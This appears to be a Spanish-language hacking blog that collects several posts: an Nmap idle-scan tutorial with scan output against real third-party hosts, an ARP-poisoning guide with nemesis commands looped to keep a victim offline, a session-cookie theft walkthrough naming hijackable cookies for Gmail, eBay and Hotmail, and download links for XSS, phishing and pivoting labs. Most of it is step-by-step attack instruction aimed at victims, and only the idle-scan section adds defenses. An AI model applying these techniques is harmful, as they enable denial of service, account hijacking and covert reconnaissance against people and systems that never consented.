[L]abels

martes, 29 de mayo de 2012

"Escaneo Invisible" con NMAP y Metasploit

"Idle Scanning" y algunos juegos relacionados al IPID


Hace casi cuatro años, Antirez (investigador de seguridad) posteó; una nueva innovadora técnica de escaneo de puertos de TCP. Un "Idlescan", como llegó a conocerse, permite un escaneo de puertos completamente invisible. Los atacantes pueden realmente escanear una máquina sin necesidad de enviar ni un sólo paquete al host destino desde su propia dirección! En lugar de ello, un ataque paralelo permite que el escaneo sea una especie de rebote en una máquina inactiva ("zombie") . Los reportes de sistemas de detección de intrusión (IDS) indicarán a la máquina "zombie" como la atacante. Además de ser extraordinariamente invisible, este tipo de escaneo permite mapear la relaciones de confianza basadas en IP entre máquinas.

Asumí que un problema de esta magnitud generaría una respuesta inmediata y parches de parte de los desarrolladores de sistemas operativos. Desafortunadamente, muchos escogieron ignorar el problema por años. Aparentemente, creen que éste es un problema "teórico que no es práctico para ser explotado en el mundo real. Para refutar esa postura, e incrementar la presión sobre los desarrolladores y obligar a que solucionen el problema, he publicado una implementación robusta de un idlescan en versiones recientes de Nmap. Este paper describe la técnica en detalle y ofrece defensas que los administradores de redes, ISPs, y desarrolladores de sistemas operativos pueden utilizar para mitigar esta vulnerabilidad.

Tengan en cuenta que un "idle scanning" es sólo uno de los riesgos de seguridad causados por números de secuencia de IPID predecibles. Este paper describe varios otros ataques de recolección de información posibles gracias a esta característica.

Técnica

Aunque un `idle scanning' es bastante sofisticado en materia de métodos de escaneo de puertos, uno no tiene que ser un experto en TCP/IP para comprenderlo. Sólo se necesita comprender algunas cuestiones básicas:

  • La mayoría de los servidores esuchan en puertos de TCP, de la manera en la que los servidores de web escuchan en el puerto 80 y los servidores de correo en el puerto 25. Un puerto es considerado "abierto" si alguna aplicación está escuchando en ese puerto, si no, está cerrado.
  • Una manera de determinar si un puerto esta abierto es envia un paqueter con "SYN" (establecimiento de sesión) al puerto. La máquina destino enviará de vuelta un paquete con "SYN|ACK" (reconocimiento de pedido de sesión) si el puerto está abierto, y un paquete con "RST" si el puerto está cerrado.

    • Una máquina que recibe un paquete con "SYN|ACK" no solicitado previamente responderá con una "RST". Pero un "RST" no solicitado previamente es ignorado.
    • Cada paquete de IP en Internet tiene un número de "identificación de fragmento". Varios sistemas operativos simplemente incrementan este número por cada paquete que envían. Por lo tanto la observación de este número puede decirle al atacante cuántos paquente han sido enviados desde la última observación.
    Al combinar estas características, es posible escanear una red falsificando nuestra identidad para que parezca que una máquina "zombie" inocente realizó el escaneo. Es más fácil describir esta técnica por medio de un diagrama. En la imagen, debajo, un atacante, A, está escaneando una máquina destino, y a la vez culpando del escaneo a algún zombie, Z. Los cuadrados representan máquinas y las líneas representan paquetes. Breves descripciones en castellano de los paquetes están impresas por encima de las líneas, mientras que las "flags" reales de TCP e información distintiva de los paquetes están impresas debajo de ellas:

Como muestra el diagrama, el host destino responde de manera diferente al Zombie dependiendo del estado del puerto. Si el puerto probado está abierto, el destino envía un SYN|ACK al Zombie. El Zombie no esperaba este SYN|ACK, por lo tanto, envía de vuelta un RST. Al enviar este RST, el Zombie hace que se incremente su número de secuencia de IPID. El verdadero atacante detecta esto en el paso 3. Si el puerto está cerrado, el destino envía un RST al Zombie. Los Zombies ignoran este paquete RST no solicitado y no incrementan su número de secuencia de IPID.

Ventajas del Idlescan

Las técnicas de Idlescan ofrecen al atacante muchas ventajas por sobre otros tipos de escaneo populares como los "SYN scans" o los "FIN scans". Es por esto, que recomendamos defensas importantes para ayudar a proteger la red de este ataque. Estas son algunas de las razones, por las cuales los atacantes podrían usar este método de escaneo:

Porque es el más sigiloso? -- Hay muchas técnicas que la gente puede utilizar para camuflar su identidad. Entre ellas, el uso de señuelos (Nmap -D) of escaneos medio-abiertos ("half-open scans", nmap -sS). Pero incluso estas técnicas requieren que el atacante envíe algunos paquetes al destino desde su dirección de IP real. Por otra parte, un Idlescan es completamente invisible -- ningún paquete es enviado al destino desde la verdadera dirección de origen --.
Como conclusión, se tiene que los sistemas de detección de intrusión (IDS), generalmente, �indicarán y enviarán alertas diciendo que la máquina Zombie ha lanzado un escaneo hacia ellos!.

Vencer routers/firewalls que filtran paquetes -- El filtrado por dirección de IP de origen es un mecanismo de seguridad muy común que sirve para limitar las máquinas que pueden conectarse a un host delicado. Por ejemplo, el servidor de base de datos de una compañía quizás admita conexiones sólo desde el servidor público de web que accede a ella. Un usuario desde su casa quizás sólo permita conexiones de `ssh' (login interactivo) desde sus máquinas del trabajo.
Un escenario más perturbador ocurre cuando alguien de peso en alguna compañía demanda que los adminstradores de red abran un agujero en el firewall para que él puede acceder a los recursos de la red interna desde la dirección de IP de su casa. Esto puede pasar cuando los ejecutivos no pueden o no tienen ganas de contemplar una alternativa de VPN (red privada virtual) segura.

El "idle scanning" puede ser utilizado con frecuencia para mapear esas relaciones de confianza. El factor clave es que los resultados de un Idlescan listan los puertos abiertos desde la perspectiva del host zombie. Por lo tanto un escaneo normal sobre el servidor de base de datos mencionado anteriormente podría mostrar que no hay puertos abiertos. Pero al realizar un Idlescan utilizando al servidor de web como zombie podría exponerse la relación de confianza al mostrar abiertos los puertos de servicios relacionados a la base de datos.

Mapear estas relaciones de confianza puede ser muy útil para que los atacantes le den prioridad a algunos destinos. El servidor de web distutido anteriormente puede parece algo normal al atacante hasta que nota su acceso especial a la base de datos.

Ejemplos de uso de Nmap

El primer paso es encontrar un host zombie apropiado. El host no debería tener mucho tráfico, (de ahí el nombre Idle, inerte, inactivo ) y debería ofrecer valores de IPID predecibles. Impresoras, máquinas con Windows, hosts con versiones de Linux viejas, FreeBSD, y Mac OS son generalmente útiles. Las últimas versiones de Linux, SOlaris Y OpenBSD son inmunes a ser tratadas como zombies, pero cualquier host puede ser objeto de el escaneo. Una manera de determinar la vulnerabilidad de un host es simplemente probar un Idlescan de Nmap. Nmap comprobará el zombie y reportará si es confiable.

Efectuar estos escaneos es bastante fácil. Simplemente hay que proveer de el nombre del host zombie a la opción -SI y Nmap hace el resto. Este es un ejemplo rápido:

# nmap -P0 -p- -sI kiosk.adobe.com www.riaa.com
Starting nmap V. 3.10ALPHA3 ( insecure.org/nmap/ )
Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental
Interesting ports on 208.225.90.120:
(The 65522 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
25/tcp     open        smtp
80/tcp     open        http
111/tcp    open        sunrpc
135/tcp    open        loc-srv
443/tcp    open        https
1027/tcp   open        IIS
1030/tcp   open        iad1
2306/tcp   open        unknown
5631/tcp   open        pcanywheredata
7937/tcp   open        unknown
7938/tcp   open        unknown
36890/tcp  open        unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 2594.472 seconds


De este escaneo, aprendemos que la RiAA no es muy consciente de la seguridad (se pueden notar abiertos los puertos de "PC Anywhere", "portmapper, Y "Legato nsrexec"). Ya que aparentemente no tienen un firewall, es poco probable que sí tengan un IDS. Pero si lo tienen, mostrará a 'kiosk.adobe.com' como el culpable del escaneo. La opción -P0 previente que Nmap envíe un ping incial a la Máquina de RIAA. Esto disminuye la velocidad del escaneo (hay menos información disponible sobre los tiempos), pero asegura que ningún paquete sea enviado al destino desde nuestra verdadera dirección de IP. El escaneo tardó un largo tiempo porque se escanearon los 65535 puertos -- hay que saltear la opción "-p-" si sólo se quieren escanear los puertos bastante conocidos ("well know ports") además de los puertos 1-1024 --. Uno tiene que asegurarse de encontrar zombies propios -- Kiosk no es muy confiable y es probable que desaparezca o sea monitoreado de cerca --.

Defensas

Afortunadamente, hay varias defensas que pueden ser implementadas para prevenir la mayoría de los ataques relacionados a IPID:

Administradores de Redes:

Los firewalls y "border routers" deberían estar configurados para denegar paquetes entrantes con direcciones de origen extrañas. (por ej. que parezcan venir desde máquinas internas a nuestra red, direcciones reservadas como 10.X.X.X o 192.168.X.X, direcciones localhost 127.X.X.X, etc. Cualquier buena guía de firewalls debería proveer de una orientación más detallada acerca de estas reglas esenciales).

Las reglas de los firewalls que mantienen registro del estado de las conexiones ("Stateful firewalls") pueden ayudar también a este tipo de ataques -- hay que asegurarse de que el firewall ofrezca esta característica y de que esté habilitada --.
Tratar de utilizar sistemas operativos con secuencias de IPID menos predecibles, como versiones recientes de OpenBSD, SOlaris o Linux. Mientras que esos sistemas operativos son inmunes a convertirse en zombies con la versión actual de Nmap, quizás no frenen todos los ataques relacionados a IPID. Se necesita más investigación.
Implementar filtrado de salida para prevenir que paquetes forjados con direcciones falsas abandonen nuestra red. Esto previene que nuestros empleados/estudiantes lancen alguno de estos ataques.
Proveedores de Servicio de Internet (ISPs):

La protección más importante que los ISPs pueden ofrece es utilizar filtrado de salida para prevenir que paquetes forjados con direcciones falsas abandonen nuestra red. Esto previene que los usuarios ejecuten muchos ataques horribles e inclusive, detiene un Idlescan. Además de ayudar al desempeño de Internet, el filtrado de salida puede ahorrartnos costos sustanciales al tener que investigar ataques de "IP spoofing" (engaño de IP).

Desarrolladores de sistemas operativos:

Un buen enfoque es utilizar secuencias de IPID específicas a cada conexión o a cada "peer" (peer: el otro host involucrado en el intercambio de paquetes). Solaris hace esto y limita severamente la información que los atacantes puedan obtener acerca de otras conexiones. Linux 2.4 también utiliza Valores de IPID específicos por cada peer (ver net/ipv4/inetpeer.c). Adicionalmente, Linux 2.4 resetea a cero el campo IPID en paquetes en los que el bit DF ("No fragmentar") está activado. Después de todo, la defragmentación de IP es el único uso crítico del campo ID. Otro enfoque (utilizado por OpenBSD) es generar la secuencia IPID aleatoriamente. Esto es difícil de lograr correctamente -- hay que asegurarse de que la secuencia no se repite y de que cada número no sea utilizado dos veces en un período corto de tiempo --.

Desafíos de Idlescan

Iba a discutir competiciones de implementación para escribir escáners rápidos y precisos. Pero muy pocos de ustedes están haciéndolo, y aquellos que lo hacen, pueden leer la fuente de Nmap y otros escáners. Por lo tanto, sólo remarcaré un cuantos puntos importantes. Esta sección también incluye algunos desafíos encontrados por usuarios de las herramientas.

Desempeño -- Escanear un puerto a la vez (como muestra el diagrama antes visto) puede ser horrendamente lento en el caso de miles de puertos. Nmap maneja esto mandando hasta 100 pruebas. Si Nmap encuentra que la IPID sí se incrementó, limitará la búsqueda de puertos abiertos usando un enfoque de búsqueda binaria.

Hosts no inertes -- Un Idlescan funciona contando el número de paquetes enviados por un zombie y asumiendo que esos paquetes son respuestas a paquetes originados por el destino. Entonces, paquetes extraños enviados por un zombie no inerte pueden causar una confusión importante. Nmap trata de contrarrestar este problema, con retransmisión de las pruebas y otras técnicas para detectar resultados falsos. Por ejemplo, Nmap sabe que algo está mal si prueba 6 puertos y la IPID se incrementa en 10 o 20. Nmap ajusta sus tiempos y paralelismo para compensar hosts que estén ligeramente activos o que descarten (drop) paquetes cuando detecta esto. Sin embargo, Nmap no será confiable con los zombies muy cargados de actividad. Una técnica para manejar zombies muy activos es enviar un gran número (docenas o cientos) de pruebas a cada puerto. Esta técnica de "fuerza bruta" puede ocultar una pequeña cantidad de tráfico de "ruido blanco". Desafortunadamente, el costo es un ancho de banda significativo, escaneos lentos, y la posibilidad de rebalsar con SYNs ("SYN flood") al destino. Thomas Olofsson demostró una herramienta para lograr esto en su presentación en la "2001 Black Hat Briefings". Su presentación (Powerpoint) está disponible aquí.
Filtrado de salida -- Si no podemos forjar paquetes con direcciones de origen falsas debido al filtrado de salida por parte de tu ISP, intenta con otro ISP o (para usuaros avanzados) se puede probar haciendo un "IP tunneling". También se puede tratar de hacer "rebotar" el ataque desde otra máquina dentro de tu misma red (ya que es poco probable que sea filtrada).
Zombies inmunes -- Algunos hosts no funcionarán como zombies debido a un sistema operativo astuto o tráfico sustancial. En muchos casos, simplemente se puede utilizar un zombie diferente.
Más diversión con predicción de IPID

Aunque este paper se enfoca en utilizar secuencias de IPID predecibles para escanear puertos, hay muchas otras maneras retorcias de explotar esta información. Esta es una breve lista:

Análisis de tráfico -- Los números de IPID secuenciales exponen el número de paquetes enviados por un host sobre un cierto período. Esto puede ser usado para estimar el tráfico de un sitio web, determinar cuando se loggea la gente, etc.
Detección de alias de hosts -- Muchas veces un host tendrá múltiples direcciones de IP o varias interfaces ethernet. Casi siempre se puede determinar cuáles direcciones pertenecen a un cierto host buscando números de secuencia de IPID similares.
Demultiplexación de equilibrio de Carga ("load balancing") -- ésta es casi la técnica inversa a la previa. Grandes sitios suelen utilizar equipo de equilibrio de carga para que una sóla dirección mapee a una pequeña granja de servidores. Teniendo en cuenta los valores de IPID, se puede, usualmente, determinar cuántas máquinas están detrás del equipo y a cuál estamos conectados. Por ejemplo, los campos "id' en la siguiente ejecución de hping2 ponen en obvia evidencia que beta.search.microsoft.com es manejada por dos máquinas detrás del equipo de equilibrio de carga (207.46.197.115).

# hing2 -c 10 -i 1 -p 80 -S beta.search.microsoft.com.
HPING beta.search.microsoft.com. (eth0 207.46.197.115): S set, 40 headers + 0 data bytes
46 bytes from 207.46.197.115: flags=SA seq=0 ttl=56 id=57645 win=16616 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=SA seq=1 ttl=56 id=57650 win=16616 rtt=21.4 ms
46 bytes from 207.46.197.115: flags=RA seq=2 ttl=56 id=18574 win=0 rtt=21.3 ms
46 bytes from 207.46.197.115: flags=RA seq=3 ttl=56 id=18587 win=0 rtt=21.1 ms
46 bytes from 207.46.197.115: flags=RA seq=4 ttl=56 id=18588 win=0 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=SA seq=5 ttl=56 id=57741 win=16616 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=RA seq=6 ttl=56 id=18589 win=0 rtt=21.2 ms
46 bytes from 207.46.197.115: flags=SA seq=7 ttl=56 id=57742 win=16616 rtt=21.7 ms
46 bytes from 207.46.197.115: flags=SA seq=8 ttl=56 id=57743 win=16616 rtt=21.6 ms
46 bytes from 207.46.197.115: flags=SA seq=9 ttl=56 id=57744 win=16616 rtt=21.3 ms
--- beta.search.microsoft.com. hping statistic ---
10 packets tramitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 21.1/21.3/21.7 ms


Detección de sistemas operativos -- Como se discutió anteriormente, los sistemas operativos difieren salvajamente en la manera en la que generan los números de IPID. Nmap utiliza esta información para ayudar a determinar qué versión de sistema operativo se está usando. Más detalles de esta técnica aquí.
Detección de reglas de firewall -- El valor de IPID puede ayudar a mapear las reglas de firewall. Este es un ejemplo simple:
Observamos la IPID de la máquina destino detrás del firewall.
Enviamos un paquete de ping "desde" un host detrás del firewall hacia el mismo destino.
Observamos la IPID nuevamente. Si se incrementó en 2 (uno por la respuesta al ping y otro por la segunda observación de la IPID), nuestro ping engañoso logró pasar. Algo de Tráfico extraño puede interferir, pero volver a probar puede asegurará precisión. Esta técnica puede ser expandida de varias maneras. Podría (y quizás lo haga) escribir un paper completo describiéndolas. Hay que tener en cuenta que todos los pasos anteriores pueden ser realizados con Hping.

Fuente : nmap.org

y por ultimo les dejare un video q consegui para q usen idle scan con metasploit ... lo malo es q esta en portugues xD


me despido ojala les sirva ...

PD: si este post ya lo habian hecho avisarme porfavor
PD2: igual individualmente podriamos usar el escaneo  con el flag -sS  modo stealth pero posteo este porq es bueno saber  otras maneras de hacer este tipo de scans
PD3: si no es la seccion del foro para el post avisar tmbn x)

cya

Autor: R0T53N
Fuente: Fusionhack.es

Dejar sin internet a otro PC por envenenamiento ARP

Dejar sin internet a otro PC por envenenamiento ARP

Conocimiento Previo:
ARP en Wikipedia 
 
Herramientas:
Un inyector de paquetes

do equipo accede a internet por medio de un router, y el equipo reconoce a el router por su direccion IP (que es traducida a direccion MAC) a travez del protocolo ARP. por lo que el equipo accede a internet mandando paquetes a la direccion MAC del router. para que se entienda es como los carteros,cuando tu mandas una carta tienes que poner la direccion de la persona a la cual tu le mandas la carta, para que el cartero la lleve a la direccion correcta, es exactamente lo mismo, nuestro Pc debe de conocer la direccion MAC del router para que por ARP nos podemos conectar.

si el equipo atacante logra engañar a el PC de la victima y le hace creer q la direccion MAC del router es otra "inexistente" el equipo victima no podra llegar al router, por lo que no podra llegar a internet, osea para que lo entiendan es como si ustedes le dicen al cartero que coloque la carta en la calle "a" y alguien malo xD engaña al cartero y le dice que la debe dejar en la calle "z" (calle que no existe) obiamente el cartero se perdera y el mensaje no sera recivido, es lo mismo, si engañamos al pc y le decimos que se conecte por un router que no existe, no tendremos internet =D

Para lograr esto debemos de mandar un codigo malicioso suplantando la identidad del router y diciendole a el pc de nuestra victima que debe actualizar su tabla ARP con la nueva direccion (IP/MAC) inexistente

Esto se logra con Envenenamiento ARP

Al ataque:
Supongamos que las cosas son asi:
IP atacante --> 172.20.43.208
IP vicitma --> 172.20.43.207
IP router --> 172.20.43.206

Lo primero que debemos de hacer es conseguir las Direcciones (IP/MAC) de la victima y del router para eso debemos de hacerles ping:


Ahora debemos obtener la tabla caché ARP de direcciones MAC de el router y de la victima, y esto se hace con el comando arp -a

 Perfecto ahora ya tenemos todo lo basico ^^
Ahora es cuando debemos de ocupar nuestro inyector de paquetes
yo en lo personal ocupe nemesis, por que fue el primero de google =P
Una vez que lo descargamos colocamos el exe el system32 y listo ^^

Bueno ahora es cuando debemos de usar el paquete malicioso que envenena la tabla de cache de el ARP El cual es asi:

nemesis arp -D IPvictima -S IProuter -H MACrouter

Que en este caso seria:
Citar
nemesis arp -D 172.20.43.207 -S 172.20.43.206 -H AA:BB:CC:DD:EE:FF

Aunque despues de cierto tiempo  la víctima refrescará su tabla caché ARP con la verdadera dirección MAC del router y, entonces, sí podra tener conexión a Internet.

Entonces ustedes se preguntaran ¿como se puede hacer esto permamentemente?
Sencillo se hace con un BULCE esto se hace en el nemesis con el comando FOR
El comando es este:
Citar
C:\>FOR /L %i IN (1,1,5000) DO nemesis arp -D 172.20.43.207 -S 172.20.43.206 -H AA:BB:CC:DD:EE:FF

De esta manera nuestra victima no se podra conectar a internet ^^

sábado, 26 de mayo de 2012

Laboratorio "Hack Novato"

Hack Novato 

by Badcode y Angelus_7722

consta de 3 videos tutoriales.

- Tuto 1.

En este tuto podran observer el método de importación de maquinas virtuales en VMWare Workstation 6, que nos permite utilizar maquinas virtuales de distintas versiones (no superiores) ya configuradas para realizar este tipo de laboratorios.

Name:   tuto1.rar
Size:   14.9MB (15637766 bytes)
Modified:   2011-07-27 05:05:13
md5:   6aa6c56966a84b7cd3e651b19c5cf947
URL:   http://www.adrive.com/public/Z964T7/tuto1.rar
Expires:   2012-05-27



- Tuto 2

Aqui observaran como se creó el ambiente virutal para realizar la practica de identificacion de banners, los software utilizados y servicios instalados.

Name:   tuto2.rar
Size:   16.7MB (17478925 bytes)
Modified:   2011-07-27 05:05:12
md5:   116a141519ea6d6172a85f68076eb0da
URL:   http://www.adrive.com/public/5Qbtxb/tuto2.rar
Expires:   2012-05-27


- Tuto 3

Aquí entramos en forma con algunas técnicas para obtener la info de la publicidad de los servicios denominadas identification banners

Name:   tuto3.rar
Size:   15.5MB (16262405 bytes)
Modified:   2011-07-27 05:05:12
md5:   e8ec3754b8949cf2043ed4758c9cc253
URL:   http://www.adrive.com/public/dpMwCf/tuto3.rar
Expires:   2012-05-27

ESTO ES LO MAS BASICO
--------------------------------------------------------------------------------------------------------------------------------


Laboratorio 2 Hack Novato




Este Segundo laboratorio hace referencia a la Enumeración del Objetivo, otro de los pasos iniciales antes de un ataque debidamente estructurado.

El tutorial está conformado por 1 videos, cada una con distintas formas o métodos de realizar la enumeración del objetivo.

Cita:
La enumeración de objetivos, es la actividad mediante la cual podemos obtener, recolectar y organizar la información de máquinas, redes, aplicaciones, servicios y/o otras tecnológias disponibles y ofrecidas por el o los objetivos.
Realmente no se considera un ataque, púes solo pretende recopilar de manera organizada información disponible mediante consultas, con el fin de elaborar verdaderos ataques, basados en los resultados obtenidos mediante la enumeración.
Las herramientas y técnicas de enumeración están basadas en su mayoría en escaneos simples a la máquina objetivo, o en simples peticiones o consultas.
En este lab no se basó en conexiones nulas o anónimas ya que se requeriría de maquinas con windows 2000 o NT, que son las que poseen este tipo de vulnerabilidades, que actualmente se encuentran ya parchadas en el Windows XP.


- Tuto 1.

En el primer vídeo pueden observar la forma en que se deben configurar las maquinas virtuales, las configuraciones adopatas y que comandos usar para la enumeración del objetivo.

Name:   tuto1_lab2.rar
Size:   36.2MB (37923264 bytes)
Modified:   2011-07-27 05:05:12
md5:   a745467be6fcd7a492ecd6cddb6c7cb7
URL:   http://www.adrive.com/public/kJ7edX/tuto1_lab2.rar
Expires:   2012-05-27


--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Laboratorio 3 Hack Novato

Estos laboratorios los veremos paso por paso, así que si están interesados les iré montando manuales de lo que deben ir realizando, se responderán dudas a inquietudes y compartir experiencias.

El tema a tratar es la vulnerabilidad XSS y el temario sería el siguiente

1.conceptos generales
1.1 cross site scripting
1.2 cookies
1.3 Phishing
1.4 Virtualizacion
1.5 easyphp
1.6 javascript

2.Creando los ambientes
2.1 Servidor vulnerable
2.2 Hosting
2.3 Victima/Atacante


3.Desarrollo del Laboratorio
3.1 Comprobar vulnerabilidad
3.2 Saltando Filtros
3.2.1 Bloqueo del numero maximo de caracteres(maxlength)
3.2.2 Filtro Strip_Tags
3.2.3 Magic_quotes_gpc =on
3.2.4 Metodo Post (Url maligna)
3.3 Ataques Cross Site Scripting (XSS)
3.3.1 Algunos codigos maliciosos
3.3.2 XSS Persistente
3.3.3 Robo de Cookies por medio de vulnerabilidad XSS
3.3.3.1 Robo de cookie para almacenar en un .txt
3.3.3.2 Robo de cookie para almacenar en una Base de Datos
3.3.4 Ataque XSS reflejado usando tecnica de Phishing (obteniendo log y password
3.3.5 AtaqUE xss Persistente para infeccion con malware (usando tecnica de phishing)

Para acceder al archivo .pdf que contiene la totalidad del laboratorio, debe realizar la descarga desde el siguiente link:

Guia:

Name:   Guia_XSS.pdf
Size:   3.6MB (3762235 bytes)
Modified:   2011-07-27 05:05:12
md5:   177fcae7e33e8cfcf0476552133281cd
URL:   http://www.adrive.com/public/enFChM/Guia_XSS.pdf
Expires:   2012-05-27


Archivos Máquina virtual Hosting:

Name:   Arch_Hosting.rar
Size:   167.7KB (171706 bytes)
Modified:   2011-07-27 05:05:13
md5:   24e8ed91e34dfcce963c8197ce43d677
URL:   http://www.adrive.com/public/ZxcR2v/Arch_Hosting.rar
Expires:   2012-05-27

Archivos Máquina virtual Servidor:

Name:   serv.rar
Size:   6MB (6327140 bytes)
Modified:   2011-07-27 05:05:13
md5:   e602c03cdf614ca9086cc7c40fc88b3c
URL:   http://www.adrive.com/public/sVH6qH/serv.rar
Expires:   2012-05-27

================================================== ========

Laboratorio 4 PIVOTING (Metasploit)

Los siguientes 3 videos tienen como fin mostrar una forma de ingresar a un servidor ubicado en la red Interna de una "empresa", cuando se compromete el servidor que está publicado a Internet, desde el equipo de cómputo del atacante, sin tener que instalar herramientas en el primer servidor comprometido.

La técnica utilizada se conoce como PIVOTING.

"Pivoting es una técnica que utiliza una única instancia que sea capaz de "mover" cualquier tipo de trafico en una red. (también conocida como 'plant' o 'foothold'). Básicamente utilizando el primer compromiso, por ejemplo, nos permite e incluso nos ayuda en la penetración de otros sistemas inaccesibles."
Fuente: Pivoting - www.metasploit-es.com.ar

Video 1.: En este video se detalla el escenario en el que se desarrolla el ataque.
Name:   escenario.zip
Size:   18.5MB (19403607 bytes)
Uploaded:   2012-03-11 19:39:23
md5:   9cf9b8a670b5419a1f7c2c9387602772
URL:   http://www.adrive.com/public/HEkyZe/escenario.zip
Expires:   2012-05-14

Video 2.: En este video se detalla la forma en que se compromete el primer servidor, mediante el uso de la herramienta "armitage" de metasploit.
Name:   compro1server.zip
Size:   27.9MB (29209507 bytes)
Uploaded:   2012-03-11 19:46:34
md5:   4db9405ed6ad6cf78b3f54023eb5653b
URL:   http://www.adrive.com/public/V7TFYW/compro1server.zip
Expires:   2012-05-14

Video 3.: En este video se detalla el uso de la técnica de PIVOTING, donde se compromete el segundo Servidor ubicado en la red Lan de la "empresa".
Name:   pivoting.zip
Size:   35.3MB (36988812 bytes)
Uploaded:   2012-03-11 20:12:56
md5:   8d39399067a78d227be339a1d0ced16b
URL:   http://www.adrive.com/public/KzYGT2/pivoting.zip
Expires:   2012-05-14

=============================================================================================

[Tutorial] Cómo capturar cookies y usarlas

En este tutorial explicaré cómo robar las cookies de alguien que esté usando nuestra misma red y cómo usarlas nosotros.


Para este tutorial necesitaremos:
  • Un addon que permita editar cookies.
  • Un sniffer.

Yo voy a usar:


 download



 Download

Para practicar el tutorial recomiendo hacerlo con 2 ordenadores conectados en la misma red, aunque también podríamos practicar desde uno, capturando las cookies, borrar las cookies de nuestro pc, y volver a poner manualmente las que hemos capturado. Aunque no tendría mucho sentido sirve para practicar.

Comenzemos, abrimos Wireshark (o el sniffer que estemos usando) y comenzamos a capturar, pero solo tcp port http:



Pulsamos start y comenzará a capturar el tráfico de red, pero nosotros vamos a buscar solo los que contengan cookies, ponemos: http contains "Cookie":

 Aunque en la imagen aparezca en minúscula, la C mayúscula es importante, ya que distingue entre ambas, y casi siempre va en mayúscula.
Y ahora nos vamos a nuestro pc victima y nos logueamos en alguna web, por ejemplo tuenti, y volvemos a nuestro pc atacante y vemos que el sniffer habrá capturado algo:


 Ahora tenemos que buscar el que nos interesa, como sabemos que la página de tuenti a la que vamos cuando nos identificamos es "/?m=Home:


 Ahora comenzaremos a robar la cookie, para ello hacemos click derecho sobre ella y seleccionamos 'Follow TCP Stream'.
Y nos aparecerá una ventana con todo lo que necesitamos, los datos que necesitamos buscar son:

Nombre:
Contenido:
Host:

El nombre en este caso es 'sid' (después explicare por qué), al saber el nombre ya podemos buscar el contenido, tenemos que buscar algo así:
sid=FC-9AwA.... (pero con más carácteres)
El host nos aparece en muchos lugares, por ejemplo en la segunda línea, en este caso es:
 www.tuenti.com

Bueno pues ya hemos recolectado todo lo que necesitamos, ahora nos vamos a FireFox y abrimos, en este caso, Cookie Manager +, nos vamos a File y pulsamos en Add, o pulsamos el botón Add de abajo. Y comenzamos a rellenar:


 Pulsamos save y listo, ya estamos logueados en la sesión de la victima.

Por último explico que los nombres los tienes que averiguar descartando, es decir, te logueas desde tu cuenta, abres el Cookies Manager + (por ejemplo) y desde ahí eliminas una por una las cookies, y cuando al eliminar una se te cierre sesión de tu cuenta ya sabes que ese es el nombre de la que te interesa.

Aquí dejo algunos nombres:

Ebay - Host: ebay.es --> nonsession, s, cid
Gmail - Host: mail.google.com --> GX
Myspace - Host: myspace.com --> MYUSERINFO
Tuenti - Host: tuenti.com --> sid
Windows Live Hotmail - Host: live.com --> RPSTAuth
Yahoo - yahoo.com --> T, Y
YouTube - youtube.com --> LOGIN_INFO



















domingo, 29 de abril de 2012

instalando backtrack junto a windows [tutorial]



En este tuto te enseñare a instalar una distro linux junto a windows.
requisitos
-tener preparado una particion en el disco de cualquier tamaño (superior a 4 gigas) de preferencia mas alto para un optimo rendimiento
-tener el dvd instalador, si no lo tienen pueden bajarlo desde http://www.backtrack-linux.org/downloads
de esta forma



 elegiendo los datos correspondientes, lo mas importante es que sea en modo imagen
luego de haberlo quemado en modo imagen/o haberlo montado en un usb
y iniciar en la bios seleccionando el 
1ºboot device dvd/o usb en el caso de que lo tengan en modo imagen en un usb

tomando en cuenta que tienes insertado tu dvd de instalacion de backtrack en el lector de dvd o inicies desde un usb

te aparecera una pantalla negra con algunas letras

 boot:_


puedes insertar texto pero no lo haremos solo presiona enter
luego te aparecera un menu donde te da opciones de inicio de backtrack
presiona enter en la primera opcion
(imagen prestada)


despues de un rato te aparecera mas letras en la pantalla

tipea desde el teclado

startx

y presiona enter, espera un rato y estaras en BackTrack entorno grafico





donde solo existe un icono llamado "install backtrack" denle doble click
aparecera una ventana donde podremos empezar a instalar

1º paso instalacion 
aqui elijes la opcion de en que idioma instalar backtrack

elejimos español y damos click adelante

2º paso instalacion
elegimos nuestra ubicacion, para que backtrack busque actualizaciones cercanas y configuraciones que nos ayuden, pero da igual el lugar que elijas
y damos click en adelante

3º paso instalacion
la siguiente ventana te da la opcion de elegir el idioma del teclado, dejalo por "opcion sugerida" ya que reconoce el idioma de tu teclado automaticamente

y click en adelante
la siguiente opcion tardara un rato, el instalador esta reconociendo los discos para instalar, te aparecera un mensaje dale click en aceptar porque esto no afecta en nada a nuestras particiones

4º paso instalacion
*(importante)en la opcion de "Prepara el espacio de disco"
elegimos la opcion de "especificar particiones manualmente (avanzado)"

aqui nos aparecera nuestros discos
tenemos un disco vacio que preparamos para instalar backtrack (preparamos uno antes de realizar esta instalacion)
 en mi caso yo prepare una particion de 17174mb para instalar backtrack, seleccionen la particion que prepararon y den click en "cambiar"
en la ventana que nos aparece cambiamos:
"utilizar como" "sistema de ficheros ext3 tradicional"
marcamos la opcion de "formatear la particion"
"punto de montaje" "/"
y lo dejamos como esta en la imagen


y damos click en ok (en el paso anterior estamos preparando el disco donde instalaremos backtrack)
ya tenemos la particion en ext3 lista para que instalemos Bactrack seleccionamos nuevamente la particion que acabamos de modificar

y damos click en adelante

5º paso y final
pues en esta ultima ventana solo tenemos que dar click a "instalar"




bueno ahora esperamos un largo rato a que termine de instalar...
y ya

ahora cuando reinicies la pc y elijas la primera opcion iniciando por backtrack te aparecera de nuevo la pantalla negra con letras
te pedira un bt login y un pass, ingresamos root en login y toor en pass: 
*ojo si instalaste la version de bactrack r1 en el campo de contraseña parecera que no puedes ingresar nada y si das presionas enter abajo podras escribir lo que sea a muchas personas eso les confunde pero, despues de ingresar el login y presionar enter ingresar toor aunque no veas que se escribe y luego presiona enter
BT Login : root 
Pass : toor

luego te encontraras con la ultima ventana donde tienes que escribir
startx

para iniciar en el modo grafico y ya esta
miren que las particiones de windows tambien se comparten, puedes manipularlas
ahora tambien podemos ingresar en windows normalmente
espero les sirva 
dedicado a los newbies  ;)




Que es un Exploit

